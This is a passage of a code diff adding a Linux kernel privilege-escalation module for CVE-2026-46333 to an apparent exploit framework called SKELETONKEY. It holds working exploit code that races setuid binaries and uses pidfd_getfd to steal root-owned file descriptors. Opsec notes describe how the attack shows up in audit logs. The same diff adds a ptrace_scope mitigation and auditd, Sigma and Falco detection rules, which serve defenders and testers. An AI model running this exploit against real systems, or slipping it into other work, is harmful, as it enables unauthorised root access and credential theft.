anything: captured fds are + * fstat()'d to fingerprint ownership, then closed. */ + int root_fds = 0, captured = 0; + bool enosys = false; + for (int round = 0; round < 200; round++) { + for (int tfd = 0; tfd < 32; tfd++) { + int got = sk_pidfd_getfd(pidfd, tfd, 0); + if (got < 0) { + if (errno == ENOSYS) { enosys = true; break; } + continue; /* EPERM (patched / outside window) or EBADF */ + } + captured++; + struct stat st; + if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) { + root_fds++; + if (!ctx->json) { + char lpath[64], target[256] = {0}; + snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got); + ssize_t n = readlink(lpath, target, sizeof target - 1); + if (n > 0) target[n] = 0; + fprintf(stderr, "[+] ptrace_pidfd: WITNESS โ€” captured root-owned " + "fd from victim (uid0 %s mode %o)%s%s\n", + (st.st_mode & S_IFMT) == S_IFREG ? "file" : + (st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd", + (unsigned)(st.st_mode & 07777), + n > 0 ? " -> " : "", n > 0 ? target : ""); + } + } + close(got); + } + if (enosys) break; + } + + close(pidfd); + int status; waitpid(child, &status, 0); + + if (enosys) { + fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS โ€” vector unavailable\n"); + return SKELETONKEY_PRECOND_FAIL; + } + if (root_fds > 0) { + /* The bug demonstrably fired: we, as a non-root user, pulled a + * uid-0-owned descriptor out of the victim past the dumpable + * boundary. We deliberately STOP here rather than fabricate a + * root shell โ€” turning a captured fd into root is target-specific + * (which fd, writable vs. authenticated channel) and is not + * bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */ + fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED โ€” %d root-owned fd(s) " + "captured from a non-root context (CVE-2026-46333 reachable).\n" + "[i] ptrace_pidfd: full root-pop is target-specific and not yet " + "VM-verified; not fabricating a shell. See module NOTICE.md.\n", + root_fds); + return SKELETONKEY_EXPLOIT_FAIL; + } + if (!ctx->json) { + fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures " + "โ€” primitive blocked (kernel likely patched, or the victim " + "exposed no privileged fd in its window)\n", captured); + } + return SKELETONKEY_EXPLOIT_FAIL; +} + +/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which + * is the very check pidfd_getfd() rides โ€” setting it to 2 (admin-only) + * or 3 (no attach) closes the bundled vector without a reboot. Needs + * root to write the sysctl; best-effort + honest report otherwise. The + * real fix is the kernel patch. */ +static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx) +{ + const char *path = "/proc/sys/kernel/yama/ptrace_scope"; + int fd = open(path, O_WRONLY); + if (fd < 0) { + if (errno == ENOENT) { + fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); " + "no runtime mitigation โ€” upgrade the kernel\n", path); + return SKELETONKEY_PRECOND_FAIL; + } + fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s " + "(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n", + path, strerror(errno)); + return SKELETONKEY_PRECOND_FAIL; + } + ssize_t w = write(fd, "2\n", 2); + close(fd); + if (w != 2) { + fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n", + path, strerror(errno)); + return SKELETONKEY_EXPLOIT_FAIL; + } + fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only " + "ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. " + "This is a stopgap; patch the kernel.\n"); + return SKELETONKEY_OK; +} + +static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx) +{ + /* Undo --mitigate: restore the permissive default (1 = restricted + * ptrace, the common distro default). Exploit itself leaves no file + * artifacts (the steal is in-memory), so there is nothing else to + * undo. */ + const char *path = "/proc/sys/kernel/yama/ptrace_scope"; + int fd = open(path, O_WRONLY); + if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */ + ssize_t w = write(fd, "1\n", 2); + close(fd); + if (!ctx->json && w == 2) + fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n"); + return SKELETONKEY_OK; +} + +#else /* !__linux__ */ + +/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are + * Linux-only ABI. Stub out so the module still registers and the + * top-level `make` completes on macOS/BSD dev boxes. */ +static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) + fprintf(stderr, "[i] ptrace_pidfd: Linux-only module " + "(pidfd_getfd cred-steal) โ€” not applicable here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] ptrace_pidfd: Linux-only module โ€” cannot run here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + return SKELETONKEY_OK; +} + +#endif /* __linux__ */ + +/* Embedded detection rules โ€” keep the binary self-contained. The + * behavioural signal is pidfd_getfd(2) issued by a non-root process + * against a setuid/privileged target. Legitimate users of pidfd_getfd + * are rare and mostly root (container runtimes, debuggers) โ€” a non-root + * pidfd_getfd is a strong indicator. */ +static const char ptrace_pidfd_auditd[] = + "# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) โ€” auditd rules\n" + "# pidfd_getfd by a non-root process is rare and high-signal. Also\n" + "# watch the credential files a successful steal would target.\n" + "-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n" + "-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n" + "-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n" + "-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n"; + +static const char ptrace_pidfd_sigma[] = + "title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n" + "id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n" + "status: experimental\n" + "description: |\n" + " Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n" + " technique pidfd_open()s a transiently-privileged setuid process and\n" + " pidfd_getfd()s descriptors it opened while root, past the dumpable\n" + " boundary __ptrace_may_access should have enforced. False positives:\n" + " privileged container runtimes / debuggers that legitimately use pidfd.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n" + " non_root: {auid|expression: '>= 1000'}\n" + " condition: getfd and non_root\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n"; + +static const char ptrace_pidfd_falco[] = + "- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n" + " desc: |\n" + " A non-root process calls pidfd_getfd() to pull a descriptor out of\n" + " another process. The CVE-2026-46333 cred-steal races a setuid\n" + " binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n" + " as it drops privileges, stealing a root-opened fd or authenticated\n" + " channel past the dumpable boundary. False positives: container\n" + " runtimes / debuggers using pidfd as root.\n" + " condition: >\n" + " evt.type = pidfd_getfd and not user.uid = 0\n" + " output: >\n" + " pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n" + " (user=%user.name proc=%proc.name pid=%proc.pid)\n" + " priority: HIGH\n" + " tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n"; + +const struct skeletonkey_module ptrace_pidfd_module = { + .name = "ptrace_pidfd", + .cve = "CVE-2026-46333", + .summary = "__ptrace_may_access dumpable race โ†’ pidfd_getfd steals root fds from a dropping-privilege process", + .family = "ptrace_pidfd", + .kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)", + .detect = ptrace_pidfd_detect, + .exploit = ptrace_pidfd_exploit, + .mitigate = ptrace_pidfd_mitigate, + .cleanup = ptrace_pidfd_cleanup, + .detect_auditd = ptrace_pidfd_auditd, + .detect_sigma = ptrace_pidfd_sigma, + .detect_yara = NULL, /* behavioural (syscall) bug โ€” no file artifact to match */ + .detect_falco = ptrace_pidfd_falco, + .opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence โ€” the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).", + .arch_support = "any", +}; + +void skeletonkey_register_ptrace_pidfd(void) +{ + skeletonkey_register(&ptrace_pidfd_module); +} diff --git a/modules/ptrace_pidfd_cve_2026_46333/skeletonkey_modules.h b/modules/ptrace_pidfd_cve_2026_46333/skeletonkey_modules.h new file mode 100644 index 0000000..47cd3b6 --- /dev/null +++ b/modules/ptrace_pidfd_cve_2026_46333/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * ptrace_pidfd_cve_2026_46333 โ€” SKELETONKEY module registry hook + */ + +#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H +#define PTRACE_PIDFD_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module ptrace_pidfd_module; + +#endif diff --git a/skeletonkey.c b/skeletonkey.c index 5910b3c..d731633 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -1014,6 +1014,7 @@ static int module_safety_rank(const char *n) if (!strcmp(n, "dirtydecrypt") || !strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */ if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */ + if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */ if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ if (!strcmp(n, "stackrot")) return 15; /* very low win% */ diff --git a/tools/verify-vm/targets.yaml b/tools/verify-vm/targets.yaml index 3fb38bb..66c1d48 100644 --- a/tools/verify-vm/targets.yaml +++ b/tools/verify-vm/targets.yaml @@ -284,3 +284,13 @@ nft_pipapo: kernel_version: "5.15.5" expect_detect: VULNERABLE notes: "CVE-2024-26581; nft_pipapo destroy-race (Notselwyn II). Same mainline 5.15.5 target as nf_tables works here โ€” 5.15.5 is below the 5.15.149 backport. (Switched from apt-pinned 5.15.0-43 after that package was removed from Ubuntu repos.) Userns gate must be open (sysctl kernel.unprivileged_userns_clone=1)." + +# โ”€โ”€ ptrace_pidfd (CVE-2026-46333) addition โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +ptrace_pidfd: + box: ubuntu2204 + kernel_pkg: "" + mainline_version: "5.15.5" # >5.6 (has pidfd_getfd) and below every fix backport + kernel_version: "5.15.5" + expect_detect: VULNERABLE + notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified โ€” sweep pending."